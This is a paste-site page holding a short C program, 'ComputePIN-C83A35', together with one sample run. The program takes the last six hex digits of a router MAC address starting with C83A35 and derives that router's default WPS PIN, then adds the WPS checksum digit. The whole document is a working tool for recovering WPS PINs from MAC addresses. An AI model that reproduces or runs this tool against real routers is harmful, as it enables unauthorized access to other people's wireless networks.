fork download
  1. //ComputePIN-C83A35
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5.  
  6. int main()
  7. {
  8.  
  9. unsigned int wps_pin_checksum(unsigned int pin);
  10. int PIN = 0;
  11.  
  12. printf("ComputePIN-C83A35\n");
  13. printf("Description:\n");
  14. printf("If your wireless router MAC address start with \"C83A35\",\n");
  15. printf("type the other six digits, you might be able to get the \n");
  16. printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
  17. printf("Code by ZhaoChunsheng 04/07/2012 http://i...content-available-to-author-only...i.com\n\n");
  18. printf("Compilado para http://l...content-available-to-author-only...b.com/foro/index.php by maripuri \n\n");
  19. printf("Input MAC Address(HEX):c83a35");
  20. scanf("%x",&PIN);
  21. printf("MAC Address(HEX) is: C83A35%X\n",PIN);
  22. printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
  23.  
  24. return 0;
  25. }
  26.  
  27.  
  28. unsigned int wps_pin_checksum(unsigned int pin)
  29. {
  30. unsigned int accum = 0;
  31. while (pin)
  32. {
  33. accum += 3 * (pin % 10);
  34. pin /= 10;
  35. accum += pin % 10;
  36. pin /= 10;
  37. }
  38.  
  39. return (10 - accum % 10) % 10;
  40. }
  41.  
  42.  
Success #stdin #stdout 0.01s 5284KB
stdin
9BF488
stdout
ComputePIN-C83A35
Description:
If your wireless router MAC address start with "C83A35",
type the other six digits, you might be able to get the 
WPS-PIN of this equipment, please have a try, good luck!

Code by ZhaoChunsheng 04/07/2012 http://i...content-available-to-author-only...i.com

Compilado para http://l...content-available-to-author-only...b.com/foro/index.php by maripuri 

Input MAC Address(HEX):c83a35MAC Address(HEX) is: C83A359BF488
WPS PIN is: 02206806